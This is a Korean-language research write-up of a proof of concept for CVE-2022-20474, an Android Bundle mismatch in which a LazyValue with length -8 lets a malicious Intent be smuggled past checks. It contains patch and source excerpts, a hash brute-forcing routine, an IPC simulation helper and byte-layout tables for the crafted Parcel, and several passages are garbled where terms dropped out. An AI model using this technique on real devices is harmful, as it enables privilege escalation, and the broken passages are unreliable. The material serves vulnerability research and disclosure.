
CVE-2022-20474의 PoC
참고: 이 글을 읽기 전에 Bundle Mismatch 관련 취약점에 대한 기본적인 이해가 있어야 합니다. 다음 참고 자료를 아직 읽지 않으셨다면 먼저 읽어보시길 권장합니다:
최근 michalbednarski의 LeakValue 글을 열심히 공부하고 있었습니다. Canyie와 논의하던 중, 이 글에서 LazyValue 시나리오에서 Self-changing Bundle이 발생하는 경우도 언급되었다고 해서 원문을 다시 찾아보니 실제로 그런 내용이 있었는데, Michal의 글을 읽을 때 바로 놓쳤습니다. 원문에서는 다음과 같이 말합니다:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal이 가리키는 것은 CVE-2022-20474일 것입니다. (bulletin, patch). 패치 링크의 함수가 완전하지 않아 직접 보완하여 자세히 살펴보았습니다:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
코드에서 objectLength는 LazyValue의 length입니다. 실제로 이것은 LazyValue가 포함하는 가변 객체의 길이에 불과하며, 전체 LazyValue의 길이는 mLength 필드, 즉 코드에서 valueLength로 제어됩니다. 이 값은 LazyValue의 생성자에서 mLength로 전달됩니다.
이제 LazyValue의 레이아웃 형식을 비교해 보겠습니다:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
위의 내용을 바탕으로 다음과 같은 사실을 얻을 수 있습니다:
mLength는 전체 LazyValue의 길이를 나타내며, mLength = objectLength + 8바이트입니다.objectLength는 0 이상이어야 합니다.LazyValue 객체에는 mLength만 저장되고 objectLength는 저장되지 않습니다. LazyValue가 메모리 복사를 할 때 전체 객체를 기준으로 복사하기 때문입니다.LazyValue를 다시 읽을 수도 있습니다.그런 다음 심사숙고 끝에 이러한 사실은 별로 쓸모가 없다는 데 동의했습니다. 위의 사실에 기반하면 읽기 시에만 한 번 수정할 수 있기 때문입니다. Self-changed Bundle의 핵심 아이디어는 읽기가 완료된 후에 수정되어야 보안 검사를 우회할 수 있다는 것입니다.
포기하려는 순간, 패치 설명에 몇 가지 세부 사항이 있음을 발견했습니다:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLengthobjectLength가 -8일 때 몇 가지 문제가 발생한다고 언급되어 있습니다. 이것은 우리에게 추가적인 힌트를 주었습니다. 이 경우 LazyValue가 정상적으로 적용(apply)될 수 있을까요?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
실제 readValue는 mPosition부터 읽기 시작하여 LazyType과 objectLength를 차례로 읽은 후 정상적인 Value 읽기 흐름으로 들어갑니다. 예를 들어 Parcelable은 ClassName을 읽은 후 createFromParcel을 실행합니다. 읽기가 완료되면 일반적인 Key-Value와 전혀 차이가 없으며 후속 직렬화에도 영향을 미치지 않습니다. 다시 생각해보면, Self-changed Bundle의 핵심은 읽기 완료 후 수정하는 것입니다. 여기서는 단순한 범위 초과 읽기에 불과하므로 이 방향은 통하지 않을 것 같습니다.
그렇다면 LazyValue가 이 과정에서 apply되지 않는 경우, 즉 LazyValue 상태로 IPC에 계속 참여하는 경우에는 writeToParcel 함수가 호출됩니다:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
전체 LazyValue가 직접 복사됩니다. 단, mLength = 0인 경우는 예외입니다. 잠깐만요! 위에서 mLength = objectLength + 8바이트라고 했는데, 패치 정보에 따르면 취약점을 트리거하려면 objectLength가 -8이어야 하므로 mLength = 0이 성립합니다. 즉, 이 시나리오에서 전체 LazyValue가 사라져서 String Key만 복사됩니다. 따라서 누락된 쓰기가 발생하여 Self-changed Bundle의 조건이 바로 충족됩니다.
원인을 알았으니 재현을 시작할 수 있습니다. 하지만 그 전에 몇 가지 세부 사항이 더 필요합니다.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
알다시피 Bundle의 메모리 레이아웃은 대략 다음과 같습니다:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC은 Bundle의 메모리 레이아웃에서 매직 넘버로, BUNDLE_MAGIC 또는 BUNDLE_MAGIC_NATIVE가 될 수 있습니다. 가장 중요한 차이점은 BUNDLE_MAGIC을 사용하면 Key-Value가 역직렬화 완료 후 재정렬된다는 점입니다. 다음 코드와 같습니다:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
MAGIC 플래그는 결국 readArrayMap에서 sorted 값에 영향을 주어 map 정렬을 유발합니다. 주석에서도 언급했듯이 정렬 방식은 key String의 해시 값을 통해 이루어집니다.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
ArrayMap의 파싱 과정을 다시 생각해 봅시다. 첫 번째 라운드 파싱에서는 Key1을 먼저 파싱한 후 LazyValue1을 파싱하려고 시도합니다. 그러나 LazyValue1의 objectLength가 -8이므로 parcel의 포인터는 LazyValue1의 시작점, 즉 a 지점으로 돌아갑니다. 이것이 위에서 언급한 사실 4입니다. 이로써 첫 번째 Key-Map 파싱이 완료됩니다. 두 번째 Key-Value는 a 지점부터 파싱을 시작합니다. 이때 먼저 String의 길이를 읽습니다. LazyValue1에 Parcelable이 포함되어 있다고 가정하면 이 길이는 4가 되어야 합니다. 따라서 실제 Key2는 a 지점부터 시작됩니다. 즉, Key2 = LazyValue1 + 입니다. 은 데이터를 포함하지 않으므로 길이는 + 의 8바이트입니다. 전체 의 길이는 4(길이 식별자) + 4 * 2 + 4("\0") = 16바이트입니다. 의 8바이트를 제외하면 뒤에 8바이트(즉, 2개)를 더 추가해야 합니다. 그런 다음 를 읽습니다. 따라서 첫 번째 파싱 시에는 음수 를 가진 으로 인해 포인터가 앞으로 이동하는 문제를 처리하기 위해 가 필요합니다. 이 의 값은 신경 쓰지 않아도 됩니다. 첫 번째 파싱에서만 사용되는 도구일 뿐이기 때문입니다. 한 번 쓰고 버릴 도구이므로 첫 번째 파싱이 완료되면 우리의 중요한 데이터에서 멀리 떨어져 있기를 바랍니다. 그리고 에 악성 데이터가 들어 있습니다. 의 해시 값이 보다 크면 이후 파싱에 영향을 미치지 않을 것입니다. 을 통해 의 해시 값을 조정하여 이 목표를 달성할 수 있습니다. 이에 대해서는 에서 자세히 설명하겠습니다. 그런 다음 의 파싱으로 들어갑니다. 의 오랜 관례에 따라 에는 악성 가 포함된 를 넣으면 되지만, 에는 몇 가지 추가 제약이 있습니다. 첫 번째 라운드 역직렬화가 완료되면 의 레이아웃은 다음과 같아야 합니다. 도구 는 맨 마지막에 배치됩니다:
Key1-Value1 | Key3-Value3 | Key2-Value2
위에서 비정상적인 objectLength에서 언급했듯이 LazyValue1의 길이는 0이므로 writeToParcel 시 전혀 복사되지 않습니다! 실제 레이아웃은 다음과 같습니다:
Key1 | Key3-Value3 | Key2-Value2
Key1을 읽은 후에는 Value1을 읽어야 하는데, 여기서 또다시 범위 초과 읽기가 발생합니다. Key3은 LazyValue1을 읽는 역할도 맡아야 합니다. Key3의 첫 번째 int는 String 길이 역할과 LazyValue Type 역할을 동시에 해야 하므로 Key3의 길이가 너무 짧아서는 안 됩니다. 너무 짧으면 해시 계산이 어렵습니다. LazyValue Type 목록을 살펴보니 다음과 같은 것이 눈에 띄었습니다:
private static final int VAL_LIST = 11; // length-prefixed
물론 12, 16, 17을 선택해도 됩니다. 너무 짧지만 않으면 됩니다.
Key3의 두 번째 int는 LazyValue의 Length 역할을 합니다. 이를 통해 LazyValue1의 길이를 제어하고 다음 포인터를 악성 Intent의 시작점으로 가리킬 수 있습니다. LazyValue1의 내용이 유효하지 않다고요? 그것은 상관없습니다. getXXX를 호출하여 apply하지 않는 한 항상 LazyValue로 남아 있습니다.
무차별 대입기를 작성하면 됩니다:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
물론 Key2를 무차별 대입하여 앞쪽으로 조정할 수도 있습니다. 하지만 Key2의 길이는 고정된 4로 비교적 짧아서 조작할 공간이 적습니다. 반면 Key3의 길이는 위에서 이미 여유를 두었기 때문에 무차별 대입이 더 쉽습니다. Key1이 문자열 "Cxxsheng"라고 가정할 때, Key3의 해시 값이 "Cxxsheng"의 해시보다 크되 약간만 크도록 제어하고 싶었습니다. 1000000을 설정하여 서로 영원히 함께할 확률을 높이고, 제3자인 Key2가 끼어들 수 없도록 했습니다. 위에서 언급했듯이 string의 처음 두 int는 고정되어 있습니다. 따라서 먼저 VAL_LIST(String 길이이기도 함)를 쓰고, 계산을 통해 악성 Intent까지 32바이트가 남았음을 확인합니다. 나머지 0들은 모두 무차별 대입에 사용할 수 있습니다. 아무 2개를 선택하여 무차별 대입하면 됩니다.
number1과 number2를 사용하여 세 번째 값이 ArrayMap에서 정렬되는 방식을 조작할 수 있습니다. ArrayMap은 key의 hashcode를 기준으로 정렬되므로, 이렇게 하면 세 번째 값이 역직렬화 후 두 번째가 되어 첫 번째 "Cxxsheng" 바로 뒤에 오게 됩니다. 다음과 같습니다:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[한 줄의 깨진 문자열]=[악성 ByteArray], [한 줄의 깨진 문자열]=0}]
읽기 순서도 쓰기 순서와 다르게 됩니다. 쓰기가 완료되면 위에서 분석한 대로 전체 LazyValue가 사라지고, 세 번째 Key-Value가 두 번째로 재정렬되며, 여기에는 type과 objectLength도 포함됩니다. 따라서 페이지 레이아웃은 다음과 같이 됩니다:
독자는 고전적인 AccountManagerService 활용 체인을 자유롭게 사용할 수 있습니다. 활용 여부는 2022년 11월 패치에 checkKeyIntentParceledCorrectly 함수가 포함되어 있는지에 달려 있으므로 이 글에서는 더 이상 논의하지 않습니다. 추가로 설명하자면, 이 함수는 IPC 호출 흐름을 시뮬레이션하여 AccountManagerService 활용 체인을 차단합니다. 따라서 Android 12 또는 13에서 Mismatch가 존재하더라도 반드시 활용할 수 있는 것은 아니며, 이 함수를 우회하는 방법을 찾아야 합니다.
이 함수를 모방하여 IPC 호출 흐름을 시뮬레이션하는 코드를 작성할 수 있습니다:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); // 디버깅 시 여기서 parcel 데이터 확인 가능
// marshall은 Parcel 포인터를 변경하지 않음
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
그런 다음 IPC 호출 흐름 시뮬레이션을 통한 로그 출력을 확인할 수 있습니다. 자세한 내용은 Github 코드를 참고하십시오:

FakeKey2LazyValue1LazyTypeobjectLengthstringLazyValue1writeIntValue2objectLengthLazyValue1Key2-Value2Key2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3IntentByteArrayKey3ArrayMapKey2-Value2| 값 | 설명 |
|---|
| "Cxxsheng" | 첫 번째 키 |
| 4 | 두 번 읽힘: 첫 번째는 VAL_PARCELABLE을 나타냄; 두 번째는 두 번째 Key의 String Length가 됨 |
| -8 | 두 번 읽힘: 첫 번째는 LazyValue의 objectLength를 나타내며, 읽기 포인터가 앞으로 이동하여 두 번 읽힘; 두 번째는 두 번째 Key의 String Value가 됨 |
| 0 | 두 번째 Key의 String Value |
| 0 | 두 번째 Key의 String Value |
| 1 | VAL_INTEGER |
| 0 | 두 번째 Value |
| 11 | 세 번째 Key의 String Length |
| 32 | 세 번째 Key의 String Value |
| 0 | 세 번째 Key의 String Value |
| 0 | 세 번째 Key의 String Value |
| number1 | 세 번째 Key의 String Value, 이 두 값은 정렬을 조정하는 데 사용 |
| number2 | 세 번째 Key의 String Value, 이 두 값은 정렬을 조정하는 데 사용 |
| 0 | 세 번째 Key의 String Value |
| 13 | VAL_BYTEARRAY |
| LazyValue의 길이 | 계산됨 |
| ByteArray의 길이 | 계산됨 |
| ByteArray | 악성 Key-Value, 즉 Intent.EXTRA_INTENT와 그 Intent 포함 |
| 값 | 설명 |
|---|
| "Cxxsheng" | 첫 번째 키 |
| 11 | VAL_LIST |
| 32 | 첫 번째 Value의 길이, 뒤의 내용은 유효 여부가 중요하지 않음 (어차피 이 LazyValue를 apply하지 않음), 이것은 ByteArray 내 악성 Intent의 앞부분을 가리킴 |
| 0 | LazyValue 내의 값 |
| 0 | LazyValue 내의 값 |
| number1 | LazyValue 내의 값 |
| number2 | LazyValue 내의 값 |
| 0 | LazyValue 내의 값 |
| 13 | LazyValue 내의 값 |
| LazyValue의 길이 | LazyValue 내의 값 |
| ByteArray의 길이 | LazyValue 내의 값 |
ByteArray 시작 / Intent.EXTRA_INTENT | 두 번째 키 |
| Intent | 두 번째 Value |
| 세 번째 Key-Value | 마지막으로 밀려남 |